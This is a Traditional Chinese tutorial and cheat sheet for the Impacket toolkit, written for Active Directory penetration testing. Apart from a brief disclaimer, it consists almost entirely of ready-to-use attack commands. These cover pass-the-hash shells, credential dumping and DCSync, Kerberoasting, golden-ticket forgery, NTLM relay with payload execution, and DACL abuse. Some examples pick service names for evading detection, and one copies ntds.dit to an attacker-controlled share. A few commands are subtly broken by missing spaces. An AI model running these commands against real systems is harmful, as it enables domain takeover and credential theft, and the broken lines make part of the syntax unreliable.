前言
Impacket 是一套由 Python 編寫的網路協定工具集,專注於提供封包的低階程式化操作,以及部分協定的完整實現(例如 SMB1-3 和 MSRPC)。這套工具原由 SecureAuth 維護,現由 Fortra 的 Core Security 接管,是資安專業人員進行 Windows/Active Directory 環境滲透測試時的必備利器。
⚠️ 重要聲明:本文介紹的工具僅供合法的安全測試使用。在未經授權的情況下對他人系統使用這些工具屬於違法行為。
一、Impacket 概述
1.1 支援的協定
| 類別 | 支援協定 |
|---|---|
| 網路層 | Ethernet、IPv4、IPv6、TCP、UDP、ICMP |
| 身份驗證 | Plain、NTLM、Kerberos(密碼、雜湊、票證、金鑰) |
| 檔案共享 | SMB1、SMB2、SMB3 |
| 遠端程序呼叫 | MSRPC(LSAD、LSAT、SAMR、DCOM 等) |
| 目錄服務 | LDAP |
| 資料庫 | MSSQL |
1.2 使用時機總覽
| 場景 | 適用工具 | 說明 |
|---|---|---|
| 遠端命令執行 | psexec、smbexec、wmiexec、atexec、dcomexec | 在目標主機上執行命令 |
| 憑證提取 | secretsdump、mimikatz | 提取密碼雜湊、明文憑證 |
| Kerberos 攻擊 | GetNPUsers、GetUserSPNs、getTGT、getST、ticketer | AS-REP Roasting、Kerberoasting、票證操作 |
| AD 資訊收集 | GetADUsers、GetADComputers、findDelegation、lookupsid | 列舉使用者、電腦、委派關係 |
| 中繼攻擊 | ntlmrelayx、smbserver | NTLM 中繼、SMB 伺服器 |
| 密碼操作 | changepasswd、GetLAPSPassword | 變更密碼、提取 LAPS 密碼 |
二、遠端執行工具詳解
2.1 impacket-psexec
用途:模擬 Windows 的 PsExec 功能,透過 SMB 協定上傳服務執行檔並執行命令。
運作原理:
1. 透過 SMB 連接到 ADMIN$ 或 C$ 共享
2. 上傳 RemComSvc 服務執行檔
3. 建立並啟動 Windows 服務
4. 透過具名管道傳輸命令與輸出
基本語法:
impacket-psexec [[domain/]username[:password]@]<目標> [命令]
使用範例:
# 範例 1:使用帳號密碼取得互動式 Shell
impacket-psexec administrator:P@[email protected]
# 範例 2:執行單一命令
impacket-psexec administrator:P@[email protected] "whoami /all"
# 範例 3:使用 NTLM Hash(Pass-the-Hash)
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee [email protected]
# 範例 4:使用 Kerberos 認證
export KRB5CCNAME=/tmp/administrator.ccache
impacket-psexec -k -no-pass [email protected]
# 範例 5:指定不同的共享目錄
impacket-psexec -path C:\Windows\Temp administrator:P@[email protected]
# 範例 6:上傳並執行自訂程式
impacket-psexec -c /tmp/payload.exe administrator:P@[email protected]
# 範例 7:指定自訂服務名稱(躲避偵測)
impacket-psexec -service-name "WindowsUpdate" administrator:P@[email protected]
完整參數說明:
| 參數 | 說明 |
|---|---|
-c pathname |
上傳指定檔案並執行 |
-path PATH |
指定上傳路徑 |
-file FILE |
使用替代的 RemCom 二進位檔 |
-service-name |
自訂服務名稱 |
-remote-binary-name |
自訂上傳的執行檔名稱 |
-codec CODEC |
設定輸出編碼(預設 utf-8) |
-hashes LMHASH:NTHASH |
使用 NTLM 雜湊認證 |
-no-pass |
不詢問密碼 |
-k |
使用 Kerberos 認證 |
-aesKey |
使用 AES 金鑰認證 |
-dc-ip |
指定網域控制器 IP |
-target-ip |
指定目標 IP |
-port |
指定 SMB 連接埠 |
2.2 impacket-smbexec
用途:類似 psexec,但不上傳執行檔,透過建立服務執行批次命令。
優勢:
– 不需要上傳檔案
– 較不易被防毒軟體偵測
– 可指定輸出共享
使用範例:
# 範例 1:基本使用
impacket-smbexec domain/administrator:P@[email protected]
# 範例 2:使用 Hash 認證
impacket-smbexec -hashes :aad3b435b51404eeaad3b435b51404ee [email protected]
# 範例 3:使用 PowerShell
impacket-smbexec -shell-type powershell domain/administrator:P@[email protected]
# 範例 4:指定輸出共享
impacket-smbexec -share C$ domain/administrator:P@[email protected]
# 範例 5:使用 SERVER 模式(需要 root)
impacket-smbexec -mode SERVER domain/administrator:P@[email protected]
# 範例 6:自訂服務名稱
impacket-smbexec -service-name "SysUpdate" domain/administrator:P@[email protected]
2.3 impacket-wmiexec
用途:透過 WMI (Windows Management Instrumentation) 執行命令,無需安裝服務。
優勢:
– 不建立 Windows 服務
– 較為隱蔽
– 適合目標無 SMB 寫入權限時使用
使用範例:
# 範例 1:取得互動式 Shell
impacket-wmiexec domain/administrator:P@[email protected]
# 範例 2:執行單一命令
impacket-wmiexec domain/administrator:P@[email protected] "ipconfig /all"
# 範例 3:使用 Hash 認證
impacket-wmiexec -hashes :aad3b435b51404eeaad3b435b51404ee [email protected]
# 範例 4:使用 PowerShell
impacket-wmiexec -shell-type powershell domain/administrator:P@[email protected]
# 範例 5:靜默執行(無輸出)
impacket-wmiexec -silentcommand domain/administrator:P@[email protected] "cmd /c echo test > C:\test.txt"
2.4 impacket-atexec
用途:利用 Windows 工作排程器 (Task Scheduler) 執行命令。
優勢:
– 使用合法的 Windows 功能
– 可排程延遲執行
使用範例:
# 範例 1:執行命令並取得輸出
impacket-atexec domain/administrator:P@[email protected] "whoami"
# 範例 2:使用 Hash 認證
impacket-atexec -hashes :aad3b435b51404eeaad3b435b51404ee [email protected] "hostname"
# 範例 3:靜默執行
impacket-atexec -silentcommand domain/administrator:P@[email protected] "powershell -c IEX(...)"
# 範例 4:使用特定登入 Session
impacket-atexec -session-id 1 domain/administrator:P@[email protected] "calc.exe"
2.5 impacket-dcomexec
用途:透過 DCOM (Distributed Component Object Model) 執行命令。
支援的 DCOM 物件:
– ShellWindows(預設)
– ShellBrowserWindow
– MMC20
使用範例:
# 範例 1:使用預設 ShellWindows
impacket-dcomexec domain/administrator:P@[email protected]
# 範例 2:使用 MMC20 物件
impacket-dcomexec -object MMC20 domain/administrator:P@[email protected]
# 範例 3:使用 ShellBrowserWindow
impacket-dcomexec -object ShellBrowserWindow domain/administrator:P@[email protected]
# 範例 4:無輸出模式
impacket-dcomexec -nooutput domain/administrator:P@[email protected] "cmd /c start calc.exe"
# 範例 5:使用 Hash
impacket-dcomexec -hashes :aad3b435b51404eeaad3b435b51404ee -object MMC20 [email protected]
2.6 遠端執行工具比較
| 工具 | 協定 | 需要上傳檔案 | 隱蔽性 | 適用場景 |
|---|---|---|---|---|
| psexec | SMB | 是 | 低 | 需要穩定 Shell |
| smbexec | SMB | 否 | 中 | 防毒較嚴格環境 |
| wmiexec | WMI/DCOM | 否 | 高 | 隱蔽執行 |
| atexec | SMB/RPC | 否 | 高 | 排程執行 |
| dcomexec | DCOM | 否 | 高 | 替代方案 |
三、Kerberos 攻擊工具詳解
3.1 impacket-GetNPUsers(AS-REP Roasting)
用途:找出設定為「不需要 Kerberos 預認證」的帳號,取得可離線破解的 AS-REP。
攻擊原理:
1. 對設定 DONT_REQUIRE_PREAUTH 的帳號發送 AS-REQ
2. KDC 回傳包含使用者密碼加密的 AS-REP
3. 離線破解取得明文密碼
使用範例:
# 範例 1:使用帳密列舉
impacket-GetNPUsers domain.local/user:password -dc-ip 192.168.1.10
# 範例 2:無認證列舉(需要使用者清單)
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10
# 範例 3:輸出 Hashcat 格式
impacket-GetNPUsers domain.local/user:password -dc-ip 192.168.1.10 -request -format hashcat -outputfile asrep.txt
# 範例 4:輸出 John 格式
impacket-GetNPUsers domain.local/user:password -dc-ip 192.168.1.10 -request -format john -outputfile asrep_john.txt
# 範例 5:使用 Hash 認證
impacket-GetNPUsers domain.local/user -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 192.168.1.10 -request
後續破解:
# 使用 Hashcat 破解
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# 使用 John 破解
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_john.txt
3.2 impacket-GetUserSPNs(Kerberoasting)
用途:找出設有 SPN 的服務帳號,取得可離線破解的 TGS。
攻擊原理:
1. 查詢 AD 中設有 SPN 的使用者帳號
2. 請求這些服務的 TGS
3. TGS 使用服務帳號密碼加密,可離線破解
使用範例:
# 範例 1:列出所有 SPN
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10
# 範例 2:請求 TGS 並輸出
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -request
# 範例 3:輸出到檔案
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt
# 範例 4:指定特定使用者
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -request-user sqlservice
# 範例 5:儲存 TGS 為 ccache 檔案
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -request-user sqlservice -save
# 範例 6:跨信任關係 Kerberoasting
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -target-domain child.domain.local
# 範例 7:隱蔽模式(移除 SPN 過濾器)
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -stealth -request
# 範例 8:僅查詢機器帳號
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -machine-only
後續破解:
# 使用 Hashcat 破解 (模式 13100 為 TGS-REP)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# 使用 John 破解
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
3.3 impacket-getTGT
用途:取得 Kerberos TGT 票據並儲存為 ccache 格式。
使用範例:
# 範例 1:使用密碼取得 TGT
impacket-getTGT domain.local/user:password -dc-ip 192.168.1.10
# 範例 2:使用 NTLM Hash
impacket-getTGT domain.local/user -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 192.168.1.10
# 範例 3:使用 AES256 金鑰
impacket-getTGT domain.local/user -aesKey <AES256金鑰> -dc-ip 192.168.1.10
# 範例 4:使用取得的 TGT
export KRB5CCNAME=user.ccache
impacket-psexec -k -no-pass [email protected]
3.4 impacket-getST
用途:請求 Kerberos 服務票證 (Service Ticket),支援 S4U2Self 和 S4U2Proxy。
使用範例:
# 範例 1:請求服務票證
impacket-getST domain.local/user:password -spn cifs/target.domain.local -dc-ip 192.168.1.10
# 範例 2:S4U2Self 模擬使用者
impacket-getST domain.local/machineaccount:password -spn cifs/target.domain.local -impersonate administrator -dc-ip 192.168.1.10
# 範例 3:使用 NTLM Hash
impacket-getST domain.local/user -hashes :aad3b435b51404eeaad3b435b51404ee -spn mssql/sql01.domain.local -dc-ip 192.168.1.10
# 範例 4:僅執行 S4U2Self
impacket-getST domain.local/user:password -spn cifs/target.domain.local -impersonate admin -self -dc-ip 192.168.1.10
# 範例 5:User-to-User (U2U) 票證
impacket-getST domain.local/user:password -u2u -spn krbtgt/domain.local -dc-ip 192.168.1.10
# 範例 6:使用額外票證進行 RBCD 攻擊
impacket-getST domain.local/attacker:password -spn cifs/target.domain.local -impersonate administrator -additional-ticket controlled.ccache -dc-ip 192.168.1.10
# 範例 7:強制可轉發(CVE-2020-17049)
impacket-getST domain.local/user -hashes :hash -spn cifs/target.domain.local -impersonate administrator -force-forwardable -dc-ip 192.168.1.10
3.5 impacket-ticketer
用途:建立 Kerberos 金票 (Golden Ticket) 或銀票 (Silver Ticket)。
使用範例:
# 範例 1:建立金票
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-XXXXXXXXXX -domain domain.local administrator
# 範例 2:建立銀票
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-XXXXXXXXXX -domain domain.local -spn cifs/target.domain.local administrator
# 範例 3:使用 AES 金鑰建立金票
impacket-ticketer -aesKey <krbtgt_aes256> -domain-sid S-1-5-21-XXXXXXXXXX -domain domain.local administrator
# 範例 4:指定群組 SID
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-XXXXXXXXXX -domain domain.local -groups "512,513,518,519,520" administrator
# 範例 5:加入額外 SID(跨信任)
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-XXXXXXXXXX -domain domain.local -extra-sid S-1-5-21-YYYYYYYYYY-519 administrator
# 範例 6:設定票證有效期限
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-XXXXXXXXXX -domain domain.local -duration 87600 administrator
# 範例 7:Sapphire Ticket(模擬使用者)
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-XXXXXXXXXX -domain domain.local -impersonate realuser fakeuser -dc-ip 192.168.1.10
使用金票:
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass [email protected]
impacket-secretsdump -k -no-pass [email protected]
3.6 impacket-describeTicket
用途:解析並顯示 Kerberos 票證的詳細資訊。
使用範例:
# 範例 1:解析票證(無解密)
impacket-describeTicket administrator.ccache
# 範例 2:使用密碼解密票證
impacket-describeTicket administrator.ccache -p 'ServicePassword' -u sqlservice -d domain.local
# 範例 3:使用 RC4 金鑰解密
impacket-describeTicket administrator.ccache --rc4 aad3b435b51404eeaad3b435b51404ee
# 範例 4:使用 AES 金鑰解密
impacket-describeTicket administrator.ccache --aes <AES256金鑰>
# 範例 5:解密 PAC 憑證(UnPAC-the-Hash)
impacket-describeTicket pkinit.ccache --asrep-key <AS-REP金鑰>
3.7 impacket-ticketConverter
用途:在 kirbi 和 ccache 格式之間轉換 Kerberos 票證。
使用範例:
# 範例 1:kirbi 轉 ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
# 範例 2:ccache 轉 kirbi
impacket-ticketConverter ticket.ccache ticket.kirbi
四、資訊收集工具詳解
4.1 impacket-GetADUsers
用途:列舉 Active Directory 網域中的使用者帳號。
使用範例:
# 範例 1:列出所有使用者
impacket-GetADUsers -all domain.local/user:password -dc-ip 192.168.1.10
# 範例 2:查詢特定使用者
impacket-GetADUsers domain.local/user:password -user administrator -dc-ip 192.168.1.10
# 範例 3:使用 Hash 認證
impacket-GetADUsers -all domain.local/user -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 192.168.1.10
# 範例 4:使用 Kerberos 認證
impacket-GetADUsers -all domain.local/user -k -no-pass -dc-ip 192.168.1.10
4.2 impacket-GetADComputers
用途:列舉 Active Directory 網域中的電腦帳號。
使用範例:
# 範例 1:列出所有電腦
impacket-GetADComputers domain.local/user:password -dc-ip 192.168.1.10
# 範例 2:解析 IP 位址
impacket-GetADComputers domain.local/user:password -dc-ip 192.168.1.10 -resolveIP
# 範例 3:查詢特定電腦
impacket-GetADComputers domain.local/user:password -user WS01$ -dc-ip 192.168.1.10
4.3 impacket-findDelegation
用途:查詢 Active Directory 中的委派關係(無限制委派、限制委派、RBCD)。
使用範例:
# 範例 1:列出所有委派關係
impacket-findDelegation domain.local/user:password -dc-ip 192.168.1.10
# 範例 2:包含停用帳號
impacket-findDelegation domain.local/user:password -dc-ip 192.168.1.10 -disabled
# 範例 3:查詢特定使用者
impacket-findDelegation domain.local/user:password -dc-ip 192.168.1.10 -user sqlservice
# 範例 4:跨信任查詢
impacket-findDelegation domain.local/user:password -dc-ip 192.168.1.10 -target-domain child.domain.local
輸出說明:
– Unconstrained Delegation:無限制委派,可模擬任何使用者
– Constrained Delegation:限制委派,僅能模擬到特定服務
– Resource-Based Constrained Delegation (RBCD):基於資源的限制委派
4.4 impacket-lookupsid
用途:透過 SID 列舉帳號名稱(SID Brute Force)。
使用範例:
# 範例 1:列舉 SID(預設到 RID 4000)
impacket-lookupsid domain/user:[email protected]
# 範例 2:指定最大 RID
impacket-lookupsid domain/user:[email protected] 10000
# 範例 3:列舉網域 SID
impacket-lookupsid domain/user:[email protected] -domain-sids
# 範例 4:使用 Hash 認證
impacket-lookupsid -hashes :aad3b435b51404eeaad3b435b51404ee [email protected]
4.5 impacket-GetLAPSPassword
用途:從 LDAP 提取 LAPS (Local Administrator Password Solution) 管理的本機管理員密碼。
使用範例:
# 範例 1:列出所有 LAPS 密碼
impacket-GetLAPSPassword domain.local/user:password -dc-ip 192.168.1.10
# 範例 2:查詢特定電腦
impacket-GetLAPSPassword domain.local/user:password -dc-ip 192.168.1.10 -computer WS01
# 範例 3:輸出到檔案
impacket-GetLAPSPassword domain.local/user:password -dc-ip 192.168.1.10 -outputfile laps.txt
# 範例 4:使用 LDAPS
impacket-GetLAPSPassword domain.local/user:password -dc-ip 192.168.1.10 -ldaps
4.6 impacket-DumpNTLMInfo
用途:透過 NTLM 認證取得目標系統資訊。
使用範例:
# 範例 1:透過 SMB 取得資訊
impacket-DumpNTLMInfo 192.168.1.100
# 範例 2:透過 RPC 取得資訊
impacket-DumpNTLMInfo 192.168.1.100 -port 135 -protocol RPC
# 範例 3:指定目標 IP
impacket-DumpNTLMInfo dc01.domain.local -target-ip 192.168.1.10
4.7 impacket-net
用途:類似 Windows net 命令,透過 SAMR 介面查詢資訊。
使用範例:
# 範例 1:列舉使用者
impacket-net domain/user:[email protected] user
# 範例 2:列舉群組
impacket-net domain/user:[email protected] group
# 範例 3:列舉本機群組
impacket-net domain/user:[email protected] localgroup
# 範例 4:列舉電腦
impacket-net domain/user:[email protected] computer
五、憑證提取工具詳解
5.1 impacket-secretsdump
用途:提取 Windows 系統的敏感資訊,包括 SAM、LSA Secrets、NTDS.dit 等。
可提取的資訊:
– SAM 資料庫中的本機帳號雜湊
– LSA Secrets(服務帳號密碼、快取憑證等)
– NTDS.dit 中的網域帳號雜湊
– DCC2 快取憑證
使用範例:
# 範例 1:遠端提取(需要管理員權限)
impacket-secretsdump domain/administrator:[email protected]
# 範例 2:使用 Hash 認證
impacket-secretsdump -hashes :aad3b435b51404eeaad3b435b51404ee [email protected]
# 範例 3:使用 Kerberos 認證
impacket-secretsdump -k -no-pass [email protected]
# 範例 4:僅提取 NTDS.dit(DCSync)
impacket-secretsdump -just-dc domain/administrator:[email protected]
# 範例 5:僅提取 NTLM 雜湊(無歷史記錄)
impacket-secretsdump -just-dc-ntlm domain/administrator:[email protected]
# 範例 6:提取特定使用者
impacket-secretsdump -just-dc-user krbtgt domain/administrator:[email protected]
# 範例 7:從本機檔案提取
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# 範例 8:從 NTDS.dit 提取
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
# 範例 9:輸出到檔案
impacket-secretsdump domain/administrator:[email protected] -outputfile secrets
# 範例 10:使用 Volume Shadow Copy
impacket-secretsdump -use-vss domain/administrator:[email protected]
5.2 impacket-dpapi
用途:解密 DPAPI (Data Protection API) 保護的資料。
使用範例:
# 範例 1:提取網域備份金鑰
impacket-dpapi backupkeys -t domain/administrator:[email protected]
# 範例 2:解密 Master Key
impacket-dpapi masterkey -file master.key -sid S-1-5-21-xxx -password UserPassword
# 範例 3:解密 Credential 檔案
impacket-dpapi credential -file cred.blob -key <master_key>
# 範例 4:解密 Vault
impacket-dpapi vault -vcrd Policy.vpol -vpol vcrd.blob -key <master_key>
# 範例 5:使用備份金鑰解密
impacket-dpapi masterkey -file master.key -pvk domain_backup.pvk
六、中繼攻擊工具詳解
6.1 impacket-ntlmrelayx
用途:執行 NTLM 中繼攻擊,將捕獲的 NTLM 認證轉發到其他目標。
支援的協定:SMB、HTTP、LDAP、MSSQL、IMAP、RPC 等
使用範例:
# 範例 1:中繼到 SMB
impacket-ntlmrelayx -t 192.168.1.100 -smb2support
# 範例 2:中繼到多個目標
impacket-ntlmrelayx -tf targets.txt -smb2support
# 範例 3:中繼到 LDAP 並建立電腦帳號
impacket-ntlmrelayx -t ldap://dc01.domain.local --add-computer EVILPC
# 範例 4:中繼到 LDAP 並 dump LAPS
impacket-ntlmrelayx -t ldap://dc01.domain.local --dump-laps
# 範例 5:中繼到 LDAP 並設定 RBCD
impacket-ntlmrelayx -t ldap://dc01.domain.local --delegate-access
# 範例 6:中繼到 AD CS 並取得憑證
impacket-ntlmrelayx -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template Machine
# 範例 7:使用 SOCKS 代理
impacket-ntlmrelayx -tf targets.txt -socks -smb2support
# 範例 8:執行命令
impacket-ntlmrelayx -t 192.168.1.100 -smb2support -c "whoami > C:\\test.txt"
# 範例 9:上傳並執行檔案
impacket-ntlmrelayx -t 192.168.1.100 -smb2support -e /tmp/payload.exe
# 範例 10:互動式 Shell
impacket-ntlmrelayx -t 192.168.1.100 -smb2support -i
# 範例 11:Shadow Credentials 攻擊
impacket-ntlmrelayx -t ldap://dc01.domain.local --shadow-credentials --shadow-target DC01$
# 範例 12:SCCM 政策攻擊
impacket-ntlmrelayx -t http://sccm.domain.local/ccm_system_windowsauth/request --sccm-policies
# 範例 13:移除 MIC(CVE-2019-1040)
impacket-ntlmrelayx -t 192.168.1.100 --remove-mic -smb2support
常用參數說明:
| 參數 | 說明 |
|---|---|
-t TARGET |
單一目標 |
-tf TARGETSFILE |
目標清單檔案 |
-smb2support |
啟用 SMB2 支援 |
-socks |
啟用 SOCKS 代理 |
-i |
互動式模式 |
-c COMMAND |
執行命令 |
-e FILE |
上傳並執行檔案 |
--adcs |
AD CS 攻擊 |
--delegate-access |
RBCD 攻擊 |
--dump-laps |
提取 LAPS 密碼 |
--shadow-credentials |
Shadow Credentials 攻擊 |
6.2 impacket-smbserver
用途:快速建立 SMB 伺服器,用於檔案傳輸或捕獲認證。
使用範例:
# 範例 1:建立匿名共享
impacket-smbserver share /tmp/share
# 範例 2:啟用 SMB2
impacket-smbserver share /tmp/share -smb2support
# 範例 3:設定認證
impacket-smbserver share /tmp/share -username user -password password -smb2support
# 範例 4:使用 NTLM Hash 認證
impacket-smbserver share /tmp/share -hashes :aad3b435b51404eeaad3b435b51404ee -smb2support
# 範例 5:指定監聽 IP 和 Port
impacket-smbserver share /tmp/share -ip 192.168.1.50 -port 445 -smb2support
# 範例 6:輸出到檔案
impacket-smbserver share /tmp/share -smb2support -outputfile smb.log
常見用途:
# 從目標下載檔案
copy \\192.168.1.50\share\mimikatz.exe C:\Windows\Temp\
# 將檔案傳送到攻擊機
copy C:\Windows\NTDS\ntds.dit \\192.168.1.50\share\
七、SMB 工具詳解
7.1 impacket-smbclient
用途:互動式 SMB 用戶端,類似 Linux 的 smbclient。
使用範例:
# 範例 1:連線到目標
impacket-smbclient domain/user:[email protected]
# 範例 2:使用 Hash 認證
impacket-smbclient -hashes :aad3b435b51404eeaad3b435b51404ee [email protected]
# 範例 3:使用 Kerberos 認證
impacket-smbclient -k -no-pass [email protected]
互動式命令:
# shares - 列出共享
# use <share> - 切換共享
# ls - 列出檔案
# cd <dir> - 切換目錄
# get <file> - 下載檔案
# put <file> - 上傳檔案
# rm <file> - 刪除檔案
# mkdir <dir> - 建立目錄
# rmdir <dir> - 刪除目錄
# info - 顯示連線資訊
7.2 impacket-reg
用途:遠端操作 Windows 註冊表。
使用範例:
# 範例 1:查詢註冊表
impacket-reg domain/administrator:[email protected] query -keyName HKLM\\Software
# 範例 2:新增機碼
impacket-reg domain/administrator:[email protected] add -keyName "HKLM\\Software\\Test"
# 範例 3:新增值
impacket-reg domain/administrator:[email protected] add -keyName "HKLM\\Software\\Test" -v "TestValue" -vt REG_SZ -vd "TestData"
# 範例 4:刪除機碼
impacket-reg domain/administrator:[email protected] delete -keyName "HKLM\\Software\\Test"
# 範例 5:儲存登錄檔
impacket-reg domain/administrator:[email protected] save -keyName HKLM\\SAM -o sam.save
# 範例 6:備份 SAM/SYSTEM/SECURITY
impacket-reg domain/administrator:[email protected] backup -o backup_
7.3 impacket-services
用途:遠端管理 Windows 服務。
使用範例:
# 範例 1:列出所有服務
impacket-services domain/administrator:[email protected] list
# 範例 2:查詢服務狀態
impacket-services domain/administrator:[email protected] status -name Spooler
# 範例 3:啟動服務
impacket-services domain/administrator:[email protected] start -name Spooler
# 範例 4:停止服務
impacket-services domain/administrator:[email protected] stop -name Spooler
# 範例 5:建立服務
impacket-services domain/administrator:[email protected] create -name EvilSvc -display "Evil Service" -path "C:\\Windows\\Temp\\evil.exe"
# 範例 6:刪除服務
impacket-services domain/administrator:[email protected] delete -name EvilSvc
# 範例 7:查詢服務配置
impacket-services domain/administrator:[email protected] config -name Spooler
八、MSSQL 工具詳解
8.1 impacket-mssqlclient
用途:MSSQL 用戶端,支援 SQL 和 Windows 認證。
使用範例:
# 範例 1:SQL 認證
impacket-mssqlclient sa:[email protected]
# 範例 2:Windows 認證
impacket-mssqlclient domain/user:[email protected] -windows-auth
# 範例 3:指定資料庫
impacket-mssqlclient sa:[email protected] -db master
# 範例 4:執行命令
impacket-mssqlclient sa:[email protected] -command "SELECT @@version"
# 範例 5:從檔案執行
impacket-mssqlclient sa:[email protected] -file queries.sql
互動式命令:
-- 啟用 xp_cmdshell
enable_xp_cmdshell
-- 執行系統命令
xp_cmdshell whoami
-- 列出資料庫
SELECT name FROM sys.databases
-- 啟用 Ole Automation
sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
8.2 impacket-mssqlinstance
用途:探測 MSSQL 執行個體。
使用範例:
# 範例 1:探測 MSSQL 執行個體
impacket-mssqlinstance 192.168.1.100
# 範例 2:設定逾時
impacket-mssqlinstance 192.168.1.100 -timeout 5
九、其他實用工具
9.1 impacket-addcomputer
用途:在 AD 中新增電腦帳號。
使用範例:
# 範例 1:新增電腦帳號
impacket-addcomputer domain.local/user:password -computer-name EVILPC-computer-pass P@ssw0rd -dc-ip 192.168.1.10
# 範例 2:使用 LDAPS
impacket-addcomputer domain.local/user:password -computer-name EVILPC -method LDAPS -dc-ip 192.168.1.10
# 範例 3:刪除電腦帳號
impacket-addcomputer domain.local/user:password -computer-name EVILPC-delete -dc-ip 192.168.1.10
# 範例 4:修改現有電腦密碼
impacket-addcomputer domain.local/user:password -computer-name EXISTING -computer-pass NewPass -no-add -dc-ip 192.168.1.10
9.2 impacket-changepasswd
用途:變更或重設 AD 帳號密碼。
使用範例:
# 範例 1:變更自己的密碼
impacket-changepasswd domain.local/user:[email protected] -newpass NewP@ss123
# 範例 2:使用 kpasswd 協定
impacket-changepasswd domain.local/user:[email protected] -newpass NewP@ss123 -protocol kpasswd
# 範例 3:使用管理員重設密碼
impacket-changepasswd domain.local/[email protected] -newpass NewP@ss123 -altuser domain.local/admin -altpass AdminPass -reset
# 範例 4:使用 Hash
impacket-changepasswd domain.local/[email protected] -hashes :oldhash -newhashes :newhash
9.3 impacket-rbcd
用途:操作 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性進行 RBCD 攻擊。
使用範例:
# 範例 1:讀取 RBCD 設定
impacket-rbcd domain.local/user:password -delegate-to TARGET-action read -dc-ip 192.168.1.10
# 範例 2:寫入 RBCD 設定
impacket-rbcd domain.local/user:password -delegate-to TARGET -delegate-from ATTACKER-action write -dc-ip 192.168.1.10
# 範例 3:移除特定委派
impacket-rbcd domain.local/user:password -delegate-to TARGET -delegate-from ATTACKER-action remove -dc-ip 192.168.1.10
# 範例 4:清除所有委派
impacket-rbcd domain.local/user:password -delegate-to TARGET -action flush -dc-ip 192.168.1.10
9.4 impacket-dacledit
用途:編輯 AD 物件的 DACL(存取控制清單)。
使用範例:
# 範例 1:讀取 DACL
impacket-dacledit domain.local/user:password -target USER01 -action read -dc-ip 192.168.1.10
# 範例 2:授予 GenericAll 權限
impacket-dacledit domain.local/user:password -target USER01 -principal ATTACKER -rights FullControl -action write -dc-ip 192.168.1.10
# 範例 3:授予 DCSync 權限
impacket-dacledit domain.local/user:password -target "DC=domain,DC=local" -principal ATTACKER -rights DCSync -action write -dc-ip 192.168.1.10
# 範例 4:移除 ACE
impacket-dacledit domain.local/user:password -target USER01 -principal ATTACKER -action remove -dc-ip 192.168.1.10
# 範例 5:備份 DACL
impacket-dacledit domain.local/user:password -target USER01 -action backup -file dacl_backup.txt -dc-ip 192.168.1.10
9.5 impacket-owneredit
用途:修改 AD 物件的擁有者。
使用範例:
# 範例 1:讀取擁有者
impacket-owneredit domain.local/user:password -target USER01 -action read -dc-ip 192.168.1.10
# 範例 2:修改擁有者
impacket-owneredit domain.local/user:password -target USER01 -new-owner ATTACKER -action write -dc-ip 192.168.1.10
9.6 impacket-Get-GPPPassword
用途:從群組原則偏好設定 (GPP) 中提取密碼。
使用範例:
# 範例 1:從 SYSVOL 提取
impacket-Get-GPPPassword domain.local/user:[email protected]
# 範例 2:從本機檔案解析
impacket-Get-GPPPassword LOCAL -xmlfile Groups.xml
9.7 impacket-goldenPac
用途:利用 MS14-068 漏洞進行攻擊。
使用範例:
# 範例 1:利用漏洞取得 Shell
impacket-goldenPac domain.local/user:[email protected]
# 範例 2:儲存票證
impacket-goldenPac domain.local/user:[email protected] -w golden.ccache
# 範例 3:不執行 PSEXEC
impacket-goldenPac domain.local/user:[email protected] None
9.8 impacket-raiseChild
用途:從子網域提升到森林根網域。
使用範例:
# 範例 1:提升權限
impacket-raiseChild child.domain.local/user:password
# 範例 2:使用 Hash
impacket-raiseChild -hashes :aad3b435b51404eeaad3b435b51404ee child.domain.local/user
# 範例 3:執行 PSEXEC
impacket-raiseChild child.domain.local/user:password -target-exec dc01.domain.local
十、實戰流程範例
10.1 完整 AD 滲透流程
# ===== 階段 1:資訊收集 =====
# 1.1 列舉網域使用者
impacket-GetADUsers -all domain.local/user:password -dc-ip 10.10.10.10
# 1.2 列舉網域電腦
impacket-GetADComputers domain.local/user:password -dc-ip 10.10.10.10 -resolveIP
# 1.3 列舉委派關係
impacket-findDelegation domain.local/user:password -dc-ip 10.10.10.10
# 1.4 SID 列舉
impacket-lookupsid domain/user:[email protected] 10000
# ===== 階段 2:憑證攻擊 =====
# 2.1 AS-REP Roasting
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10 -format hashcat -outputfile asrep.txt
# 2.2 Kerberoasting
impacket-GetUserSPNs domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
# 2.3 破解雜湊
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
